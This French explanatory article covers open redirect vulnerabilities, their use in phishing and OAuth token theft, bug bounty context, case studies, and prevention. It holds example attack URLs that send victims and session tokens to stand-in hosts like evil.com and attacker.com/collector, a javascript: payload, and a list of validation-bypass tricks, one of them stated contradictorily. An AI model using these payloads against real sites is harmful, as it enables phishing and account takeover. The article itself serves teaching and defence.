Vulnérabilités de redirection ouverte : la porte d'entrée vers le phishing 🚪

Introduction : La menace sous-estimée qui se cache à la vue de tous

Lorsque les chercheurs en sécurité évoquent des vulnérabilités critiques, les redirections ouvertes sont rarement en tête des manchettes. Elles sont souvent considérées comme des problèmes mineurs, relégués en bas des priorités, tandis que des exploits plus spectaculaires comme l’injection SQL ou l’exécution de code à distance volent la vedette. Pourtant, cette attitude de dédain masque une réalité dangereuse : les vulnérabilités de redirection ouverte sont parmi les vecteurs d’attaque les plus polyvalents et exploités fréquemment dans la sécurité web moderne.

Des chercheurs en sécurité ont découvert une vulnérabilité de redirection ouverte dans la fonctionnalité de déconnexion de Tumblr en novembre 2024, démontrant que ces vulnérabilités continuent d’affecter des plateformes majeures. La vulnérabilité se trouvait dans des paramètres contrôlant la destination de la redirection après certaines actions, permettant aux attaquants de manipuler les URLs sur des domaines de confiance pour rediriger les victimes vers des sites malveillants.

Les vulnérabilités de redirection ouverte surviennent lorsque des applications web acceptent des entrées contrôlables par l’utilisateur pour déterminer les cibles de redirection sans validation adéquate. Ce qui les rend particulièrement dangereuses, ce n’est pas leur complexité — c’est leur simplicité combinée à la confiance implicite que les utilisateurs accordent à des domaines familiers. Lorsqu’une URL commence par “https://google.com” ou “https://microsoft.com,” votre cerveau enregistre “sûr.” Les attaquants exploitent ce biais cognitif sans relâche.

Comprendre les redirections ouvertes : Plus qu’une simple diversion

L’anatomie d’une redirection ouverte

Au fond, une redirection ouverte est trompeusement simple. Les applications web utilisent couramment la fonctionnalité de redirection à des fins légitimes : modifier la structure des URLs, faciliter la navigation après authentification, ou assurer la compatibilité entre plusieurs URLs. Ces redirections sont réalisées via des en-têtes de réponse HTTP ou du JavaScript, avec des attaquants exploitant une validation d’entrée non sécurisée permettant la manipulation des paramètres.

Considérons un scénario typique :

https://trusted-bank.com/login?redirect=https://trusted-bank.com/dashboard

Cette redirection légitime envoie les utilisateurs authentifiés vers leur tableau de bord après connexion. Cependant, sans validation appropriée, un attaquant peut la modifier :

https://trusted-bank.com/login?redirect=https://evil-phishing-site.com

L’utilisateur voit le domaine de confiance dans sa barre d’adresse, entre ses identifiants sur une page de connexion qui semble légitime, et l’application le redirige — avec tous ses jetons d’authentification ou ses données de session — vers le serveur de l’attaquant.

Deux types d’exploitation de redirection

Les redirections ouvertes se classent en deux types principaux : basées sur l’en-tête et basées sur JavaScript, aussi appelées type I et type II. Les redirections par en-tête fonctionnent via l’en-tête HTTP Location, même lorsque JavaScript est désactivé, tandis que celles par JavaScript utilisent du code côté client pour effectuer la redirection.

Les redirections par en-tête utilisent l’en-tête HTTP Location, qui indique au navigateur où aller ensuite. Une réponse vulnérable pourrait ressembler à :

HTTP/1.1 302 Found
Location: https://attacker-controlled-domain.com

Les redirections JavaScript, quant à elles, s’exécutent via du code côté client :

window.location = userControlledURL;

Les deux approches sont dangereuses, mais les redirections par en-tête sont particulièrement insidieuses car elles fonctionnent universellement sur tous les navigateurs et configurations.

L’effet multiplicateur du phishing

Pourquoi les domaines de confiance sont précieux

Les attaquants exploitent les redirections ouvertes pour des attaques de phishing car la capacité d’utiliser une URL d’application authentique avec le bon domaine et un certificat SSL valide confère de la crédibilité à l’attaque. Lorsque les utilisateurs vérifient ces caractéristiques — comme l’enseigne la formation à la sensibilisation à la sécurité — ils ne remarquent pas la redirection suivante vers un domaine différent.

Les attaques de phishing traditionnelles rencontrent des obstacles importants. Les filtres email signalent les domaines suspects, les navigateurs affichent des avertissements de sécurité, et les utilisateurs vigilants scrutent les URLs. Mais lorsque le lien initial provient d’un domaine légitime et de confiance, toutes ces défenses s’effondrent.

Considérez l’impact psychologique : un email de phishing contenant https://accounts.google.com/redirect?url=https://evil.com contourne presque tous les signaux d’alerte que les utilisateurs ont appris à reconnaître. Le domaine est légitime. Le certificat SSL est valide. Même des utilisateurs sophistiqués peuvent cliquer, pensant interagir avec l’infrastructure de Google.

Techniques avancées de phishing utilisant des redirections ouvertes

Les techniques avancées de phishing utilisant des redirections ouvertes incluent la récolte de crédentiels via des sites imitant des pages de login, et des attaques multi-étapes utilisant des redirections pour construire des chaînes d’attaque à travers plusieurs domaines.

Les attaques multi-étapes sont particulièrement sophistiquées. Un attaquant pourrait :

1. Utiliser une redirection ouverte sur une institution financière de confiance pour rediriger vers un site e-commerce compromis mais apparemment légitime
2. Ce site e-commerce contient une autre redirection ouverte menant à la vraie page de phishing
3. La page de phishing finale imite parfaitement la page de login de l’institution financière d’origine

Chaque étape ajoute de la légitimité tout en rendant l’analyse forensique exponentiellement plus difficile. Les équipes de sécurité enquêtant sur des tentatives de phishing rapportées trouvent des domaines légitimes à chaque étape, compliquant l’identification de l’acteur malveillant et le blocage du vecteur d’attaque.

Des campagnes récentes ont démontré l’efficacité de cette approche. Une campagne de phishing ciblant des comptes Microsoft 365 de hauts dirigeants dans des organisations américaines a exploité des redirections ouvertes du site d’emploi Indeed. En acheminant des liens malveillants via l’infrastructure légitime d’Indeed, les attaquants ont réussi à contourner les filtres de sécurité email et la vigilance des utilisateurs.

Attaques OAuth : quand les redirections deviennent des clés maîtresses

La chaîne de vulnérabilités OAuth

Si le phishing représente l’exploitation la plus évidente des redirections ouvertes, la gravité réelle de ces vulnérabilités devient apparente dans les implémentations OAuth. OAuth — le cadre d’autorisation qui alimente “Se connecter avec Google” et des fonctionnalités SSO similaires — repose fortement sur les URLs de redirection pour fonctionner. Cela crée une tempête parfaite lorsqu’il est combiné avec des vulnérabilités de redirection ouverte.

Peut-être la vulnérabilité OAuth la plus célèbre survient lorsque la configuration du service OAuth permet aux attaquants de voler des codes d’autorisation ou des jetons d’accès liés aux comptes d’autres utilisateurs, en manipulant le paramètre redirect URI.

Le flux OAuth fonctionne ainsi :

1. L’utilisateur clique sur “Se connecter avec Google” sur une application tierce
2. Il est redirigé vers les serveurs d’authentification de Google
3. Après authentification réussie, Google redirige vers l’application avec un code d’autorisation ou un jeton d’accès
4. L’application échange ce code contre des données utilisateur et crée une session

Le paramètre redirect_uri indique au fournisseur OAuth où envoyer l’utilisateur après authentification. Si le service OAuth ne valide pas correctement cette URI, un attaquant peut construire une attaque CSRF-like, en trompant le navigateur de la victime pour initier un flux OAuth qui envoie le code ou le jeton vers une URI de redirection contrôlée par l’attaquant.

Vol de jetons en pratique

Un attaquant pourrait voler des jetons d’authentification en faisant authentifier un utilisateur sur un domaine légitime, puis en redirigeant vers un domaine malveillant où il collecte les jetons envoyés dans la redirection.

Voici un scénario d’attaque réel :

https://legitimate-app.com/login?redirect_uri=https://legitimate-app.com/oauth-callback/../post/next?path=https://attacker.com/collector

Cette URL exploite à la fois la traversée de chemin et une redirection ouverte. Lorsque le fournisseur OAuth redirige après authentification, l’URL devient :

https://attacker.com/collector?session=user_session_token_here

L’attaquant possède maintenant un jeton de session valide pour le compte de la victime. Les attaques de vol de jetons dans des applications SSO avec redirection ouverte permettent aux attaquants d’entrer dans un système en tant qu’utilisateurs vérifiés et de réaliser des détournements de session et autres attaques.

La vulnérabilité du flux implicite

Le flux implicite d’OAuth — couramment utilisé dans les applications monopage — présente des risques spécifiques. Dans ce flux, les jetons d’accès sont renvoyés directement dans le fragment d’URL plutôt que via un échange sécurisé côté serveur :

https://app.com/callback#access_token=secret_token_hereexpires_in=3600

Lors de l’utilisation du flux implicite, le vol d’un jeton d’accès permet de se connecter au compte de la victime sur l’application cliente et de faire des appels API au serveur de ressources OAuth, potentiellement en récupérant des données utilisateur sensibles normalement inaccessibles depuis l’interface web de l’application.

Le fragment d’URL (tout après le #) n’est pas envoyé au serveur dans les requêtes HTTP, mais il est conservé lors des redirections côté client. Les attaquants exploitant des redirections ouvertes dans les flux OAuth peuvent capturer ces jetons en redirigeant les victimes vers des domaines contrôlés par l’attaquant, où du JavaScript extrait le jeton du fragment d’URL.

La grande question : pourquoi les programmes de bug bounty s’y intéressent

Le paradoxe de la gravité

Malgré leur classification comme “faible gravité” par de nombreux cadres de sécurité, le programme de bug bounty de Google en 2024 a versé près de 12 millions de dollars à 660 chercheurs, la société ayant attribué plus de 65 millions de dollars depuis la création de son premier programme de récompense de vulnérabilités en 2010. Bien que les redirections ouvertes ne génèrent pas les plus grosses récompenses individuelles, elles restent systématiquement éligibles.

Google et d’autres géants technologiques rémunèrent pour les vulnérabilités de redirection ouverte car ils comprennent ce que les scores CVSS ne captent pas : la polyvalence. Une seule redirection ouverte peut permettre plusieurs vecteurs d’attaque :

• Campagnes de phishing qui contournent les filtres email
• Vol de jetons OAuth menant à la prise de contrôle de comptes
• Attaques CSRF contre des plugins vulnérables
• Contournements des filtres XSS dans certaines configurations
• SSRF (Server-Side Request Forgery) dans des architectures complexes

La norme de 500 $ et au-delà

Alors que les redirections ouvertes reçoivent généralement des primes modestes — souvent autour de 500 $ pour des cas simples — les paiements peuvent augmenter considérablement lorsqu’elles sont enchaînées avec d’autres vulnérabilités ou trouvées dans des flux critiques. Une vulnérabilité de redirection dans une déconnexion Tumblr en novembre 2024, initialement jugée à faible gravité, a été considérée comme digne de récompense, puis corrigée et divulguée.

Le montant réel dépend de plusieurs facteurs :

• Localisation : Les redirections dans les flux d’authentification reçoivent des récompenses plus élevées que celles dans les pages marketing
• Impact : Les redirections pouvant directement voler des jetons ou identifiants commandent des primes plus importantes
• Techniques de contournement : Les méthodes innovantes pour contourner la validation augmentent leur valeur
• Portée : Les redirections affectant plusieurs sous-domaines ou produits multiplient la récompense

Le programme de bug bounty de Google 2024 a introduit une structure révisée avec des récompenses maximales atteignant 151 515 $ pour certains types de vulnérabilités, avec le Mobile VRP offrant jusqu’à 300 000 $ pour des vulnérabilités critiques dans des applications de premier plan. Bien que ces montants maximaux concernent généralement des vulnérabilités plus graves, ils illustrent l’engagement de l’entreprise envers une recherche de sécurité globale, y compris pour des problèmes de gravité moindre mais exploitables.

La réalité économique de la chasse aux bugs

Pour les chercheurs en sécurité, les redirections ouvertes représentent une cible attrayante malgré des récompenses individuelles plus faibles. Elles sont relativement courantes, plus faciles à repérer que des vulnérabilités complexes comme l’exécution de code à distance, et peuvent être découvertes via des tests manuels ou automatisés.

Les mathématiques favorisent la recherche de multiples redirections ouvertes plutôt que la recherche d’une seule RCE critique. Un chercheur trouvant dix redirections ouvertes à 500 $ chacune gagne 5 000 $, une rémunération non négligeable pour une classe de vulnérabilités nécessitant moins d’expertise spécialisée que la découverte de bugs de corruption mémoire ou de faiblesses cryptographiques avancées.

Scénarios d’attaque modernes et impact réel

Étude de cas : la vulnérabilité Grafana

Plus de 46 000 instances Grafana exposées sur internet sont restées non corrigées, vulnérables à une redirection ouverte côté client permettant l’exécution de plugins malveillants et la prise de contrôle de comptes. Cet incident illustre comment les redirections ouvertes dans les logiciels d’entreprise peuvent créer une surface d’attaque étendue.

Grafana, plateforme d’analyse et de surveillance open-source très populaire, est déployée dans d’innombrables organisations pour visualiser métriques et logs. Les instances vulnérables représentaient une surface d’attaque massive — chaque point d’entrée potentiel pour des attaquants cherchant à compromettre l’infrastructure de surveillance, souvent en accès à des données opérationnelles sensibles.

La persistance de la vulnérabilité plusieurs mois après sa divulgation souligne un autre aspect critique de la sécurité des redirections ouvertes : le déploiement de correctifs. Les organisations priorisent souvent la correction des vulnérabilités “critiques” et “élevées”, laissant les vulnérabilités de faible gravité comme les redirections ouvertes non traitées. Cela crée des opportunités pour les attaquants qui savent que les évaluations de gravité ne reflètent pas toujours la réelle exploitabilité.

La crise des domaines gouvernementaux

Plusieurs sites gouvernementaux américains utilisant des domaines .gov et .mil ont été observés hébergeant du contenu pornographique et du spam, comme des publicités pour Viagra, tous partageant un fournisseur logiciel commun, Laserfiche. Bien que ce ne soit pas exclusivement une question de redirection ouverte, cet incident montre comment des domaines gouvernementaux de confiance peuvent être compromis et utilisés à des fins malveillantes.

Les domaines gouvernementaux ont un poids exceptionnel dans les attaques d’ingénierie sociale. Les utilisateurs sont conditionnés à faire confiance implicitement aux domaines .gov et .mil. Une redirection ouverte sur un site gouvernemental devient un outil de phishing puissant — les attaquants peuvent élaborer des communications apparemment officielles qui transitent par l’infrastructure légitime du gouvernement avant de conduire les victimes vers des destinations malveillantes.

Booking.com : la défaillance en cascade

Des recherches récentes en sécurité ont révélé des failles critiques dans l’implémentation OAuth de Booking.com, centrées sur la gestion des redirect URI. Alors que Facebook, en tant que fournisseur OAuth, validait correctement que les redirect URIs appartenaient au domaine de Booking.com, l’implémentation ne faisait pas respecter la correspondance exacte des chemins, créant un vecteur d’attaque connu sous le nom de redirection ouverte, souvent exploité pour capturer des jetons et contourner l’authentification.

Cette vulnérabilité fonctionnait par des défaillances interconnectées — validation faible du chemin combinée à une redirection ouverte interne créant une faille totale dans la sécurité OAuth de Facebook. Les attaquants pouvaient initier des flux OAuth qui semblaient rediriger vers Booking.com mais livraient finalement des jetons à des domaines contrôlés par l’attaquant.

Le cas Booking.com illustre un principe crucial : la sécurité n’est aussi forte que le maillon le plus faible. Facebook a mis en œuvre une validation robuste des domaines, mais les faiblesses de Booking.com ont complètement compromis ces protections.

Techniques de détection et d’exploitation

Approches manuelles

Trouver des redirections ouvertes nécessite de comprendre comment les applications gèrent les paramètres URL. Les chercheurs en sécurité recherchent généralement des paramètres dont les noms suggèrent une fonction de redirection :

• redirect, redirect_uri, redirect_url
• return, returnUrl, return_to
• next, next_page, goto, url
• continue, destination, forward
• callback, redir, target

Les tests consistent à manipuler ces paramètres pour pointer vers des domaines externes et observer le comportement de l’application. Des tests simples incluent :

https://example.com/login?redirect=https://evil.com
https://example.com/logout?return=//evil.com
https://example.com/auth?next=javascript:alert(1)

Techniques de contournement

Les développeurs qui implémentent la validation des redirections font souvent des erreurs prévisibles que les chercheurs en sécurité ont répertoriées en détail. Parmi les techniques courantes :

Incohérences dans l’analyse des URLs : Lorsqu’une URL est décodée, les paramètres de redirection peuvent permettre aux attaquants de rediriger les utilisateurs vers leurs propres domaines tout en semblant rester dans le domaine de confiance, en exploitant des incohérences dans l’analyse des URLs pour contourner la validation de base.

Exemple : https://evil.com\@www.trusted.com peut être analysé comme le domaine “evil.com” par la logique de validation, mais les navigateurs l’interprètent comme le domaine “evil.com”.

Traversée de chemin (Path Traversal) :

https://trusted.com/oauth-callback/../../../evil.com

URLs relatives au protocole :

//evil.com (hérite du protocole courant)

Pseudo-protocole JavaScript :

javascript:window.location='https://evil.com'

Chaînage de redirections ouvertes : Utiliser une redirection sur le domaine de confiance pour atteindre une autre redirection qui mène finalement au site de l’attaquant.

Découverte automatisée

Les chasseurs de bugs modernes utilisent des outils automatisés pour scanner à grande échelle la présence de redirections ouvertes. Des outils comme Burp Suite, OWASP ZAP, et des scripts personnalisés peuvent tester des centaines ou des milliers de paramètres simultanément. Cependant, ces outils génèrent souvent de faux positifs et manquent de vulnérabilités dépendantes du contexte nécessitant une compréhension de la logique applicative.

Les chercheurs les plus performants combinent automatisation et analyse manuelle — utilisant des outils pour identifier des vulnérabilités potentielles, puis menant des tests manuels approfondis pour confirmer l’exploitabilité et comprendre l’impact.

Stratégies de prévention et de mitigation

Approche de la whitelist

Créer une liste blanche de toutes les destinations de redirection autorisées et rediriger les autres requêtes vers une URL par défaut est une bonne méthode de prévention des redirections ouvertes, l’application maintenant une liste côté serveur de toutes les URLs permises.

Au lieu d’accepter des URLs arbitraires dans les paramètres de redirection, les applications doivent :

1. Définir toutes les destinations légitimes
2. Leur attribuer un identifiant (ID numérique ou jeton)
3. N’accepter que ces identifiants dans les paramètres de redirection
4. Effectuer une recherche côté serveur pour déterminer la destination réelle

Cette approche élimine complètement les URLs contrôlées par l’utilisateur :

https://example.com/login?redirect_id=dashboard

Le serveur associe dashboard à https://example.com/user/dashboard en interne, rendant impossible toute redirection externe.

Modèles de validation stricts

Pour corriger les vulnérabilités de redirection ouverte, les développeurs web doivent mettre en œuvre des mesures de validation et de sanitation strictes pour les URLs de redirection, en vérifiant que les redirections ne se produisent qu’vers des destinations de confiance et prévues, dans le même domaine ou à partir d’une liste blanche de domaines externes de confiance.

Lorsque la validation d’URL absolue est nécessaire, les implémentations doivent :

• Valider le protocole : n’autoriser que https:// (ou http:// si absolument nécessaire)
• Valider le domaine : correspondance exacte avec les domaines autorisés, pas une correspondance par sous-chaîne
• Valider le chemin : s’assurer que les chemins ne contiennent pas de tricks d’encodage ou de séquences de traversée
• Utiliser des URLs relatives : l’application doit utiliser des URLs relatives dans toutes ses redirections, et la fonction de redirection doit valider strictement que l’URL reçue est relative

Protections spécifiques OAuth

Les implémentations OAuth nécessitent une attention particulière :

1. Correspondance exacte du redirect_uri : les serveurs d’autorisation plus sécurisés exigent un paramètre redirect_uri lors de l’échange du code et vérifient qu’il correspond à celui reçu dans la requête initiale, rejetant l’échange si ce n’est pas le cas

2. Validation du paramètre state : toujours utiliser et vérifier le paramètre state pour prévenir les attaques CSRF

3. Implémentation PKCE : Proof Key for Code Exchange lie les codes d’autorisation aux clients demandeurs, empêchant les attaques d’interception

4. Liaison de jetons : associer les jetons aux caractéristiques du client pour détecter le vol

En-tête Referrer-Policy

Les experts en sécurité API recommandent de choisir un en-tête referrer-policy approprié afin de limiter l’exposition de l’URL du référent et réduire les risques de fuite de jetons. Cela empêche la fuite de jetons dans les fragments d’URL via l’en-tête Referer lors de la navigation suivante.

L’avenir des vulnérabilités de redirection ouverte

Évolution du paysage de menace

À mesure que les mécanismes d’authentification deviennent plus sophistiqués, les techniques d’exploitation des redirections ouvertes évoluent également. Les applications web modernes s’appuient de plus en plus sur des flux OAuth complexes, des architectures microservices, et des designs API-driven — autant de facteurs introduisant de nouveaux paramètres de redirection et défis de validation.

Les architectures modernes basées sur API rendent la prévention des redirections ouvertes essentielle, car les équipes de développement déploient plus rapidement du code à l’aide d’outils d’IA, et les applications dépendent fortement des API pour les callbacks OAuth, les intégrations SSO, et la navigation inter-services, ce qui peut propager des vulnérabilités à travers microservices et systèmes d’authentification avant que les équipes de sécurité ne s’en aperçoivent.

La prolifération des solutions SSO, tout en améliorant l’expérience utilisateur et en réduisant la fatigue des mots de passe, crée des points de défaillance centralisés. Une seule redirection ouverte dans l’infrastructure d’un fournisseur SSO peut compromettre l’authentification de dizaines ou centaines d’applications connectées.

IA et exploitation automatisée

L’intelligence artificielle et le machine learning transforment les deux côtés de l’équation sécurité. Les défenseurs utilisent l’IA pour identifier des vulnérabilités potentielles dans le code avant déploiement, analyser les modèles de trafic pour détecter des tentatives d’exploitation, et patcher automatiquement les faiblesses connues.

Les attaquants, à l’inverse, exploitent l’IA pour découvrir de nouvelles techniques de contournement, créer des contenus de phishing plus convaincants, et automatiser l’exploitation à une échelle sans précédent. Un système d’IA peut tester des millions de variations de paramètres, apprendre des tentatives échouées, et sonder systématiquement les applications pour des failles de validation.

Le défi de sécurité continu

Alors que Google se prépare à célébrer ses 15 ans de VRP en 2025, l’entreprise se concentre sur la collaboration continue avec la communauté de sécurité, dans le but de rester en avance sur les menaces émergentes et de s’adapter aux technologies en évolution. Cet engagement à long terme reflète une réalité cruciale : la sécurité n’est pas une destination, mais un processus continu.

Les vulnérabilités de redirection ouverte persisteront tant que les applications web devront rediriger les utilisateurs. La fonctionnalité de base est légitime et nécessaire. Ce qui change, c’est notre compréhension du risque, les techniques d’implémentation, et les stratégies de défense.

Conclusion : Le mythe de la faible gravité

Les vulnérabilités de redirection ouverte occupent une position particulière dans le paysage de la sécurité. Classées comme à faible gravité par des outils automatisés et des cadres de sécurité, sous-estimées par les développeurs comme des problèmes mineurs, mais exploitées de manière répétée par les attaquants avec des effets dévastateurs. Ce décalage entre la perception et la réalité du risque les rend particulièrement dangereuses.

Les statistiques racontent une histoire : des milliers de vulnérabilités de redirection ouverte sont signalées chaque année via des programmes de bug bounty. Les grandes entreprises technologiques paient des millions de dollars pour la recherche de vulnérabilités, avec des redirections ouvertes apparaissant régulièrement dans les statistiques de récompenses. Les incidents de sécurité impliquant des redirections ouvertes font la une des journaux, depuis la compromission de sites gouvernementaux jusqu’aux brèches OAuth en entreprise.

Pourtant, les organisations continuent de sous-estimer ces vulnérabilités, en priorisant d’autres travaux de sécurité tout en laissant la validation des redirections non implémentée ou mal conçue. Cela crée une faille exploitable — les attaquants qui comprennent l’impact réel des redirections ouvertes trouvent des cibles faciles dans des organisations qui les considèrent comme de faible priorité.

Pour les chercheurs en sécurité, les développeurs, et les équipes de sécurité, la leçon est claire : les évaluations de gravité sont des lignes directrices, pas une vérité absolue. Une redirection ouverte au bon endroit, exploitée par un attaquant compétent, devient une porte d’entrée vers la compromission complète d’un compte, le vol de données, et l’infiltration organisationnelle. Ce bug bounty de 500 $ ne paie pas pour un simple inconvénient — c’est une compensation pour avoir découvert une catastrophe potentielle avant que les attaquants ne le fassent.

La porte d’entrée vers le paradis du phishing n’est pas toujours une exécution de code à distance zero-day ou une attaque sophistiquée de chaîne d’approvisionnement. Parfois, c’est simplement un paramètre de redirection que personne n’a pris la peine de valider correctement. Et c’est précisément ce qui rend les redirections ouvertes si dangereuses — leur simplicité masque leur puissance, leur ubiquité garantit leur disponibilité, et leur faible gravité perçue les rend exploitables.

En fin de compte, il n’existe pas de vulnérabilité réellement à faible gravité en production. Il n’y a que des vulnérabilités que nous n’avons pas encore vues exploiter de manières inattendues. Les redirections ouvertes nous rappellent qu’en cybersécurité, les suppositions sur la gravité sont souvent erronées — généralement au pire moment.

---

Points clés à retenir :

• Les redirections ouvertes permettent des attaques de phishing sophistiquées en exploitant des domaines de confiance
• Les implémentations OAuth sont particulièrement vulnérables au vol de jetons via manipulation de redirection
• Les programmes de bug bounty récompensent systématiquement la découverte de redirections ouvertes malgré leur classification “faible gravité”
• La prévention nécessite une validation stricte, une liste blanche, et une compréhension des techniques de contournement
• Les architectures web modernes augmentent à la fois la prévalence et l’impact potentiel de ces vulnérabilités
• Les équipes de sécurité doivent réévaluer les évaluations de gravité en fonction du contexte et des chaînes d’exploitation potentielles

Ressources pour approfondir :

• OWASP Cheat Sheet sur la Redirection Ouverte
• PortSwigger Web Security Academy OAuth Labs
• Guide du programme de récompense Google Vulnerability Reward Program
• Rapports divulgués HackerOne sur les Redirections Ouvertes
• Bonnes pratiques de sécurité OAuth 2.0 (RFC)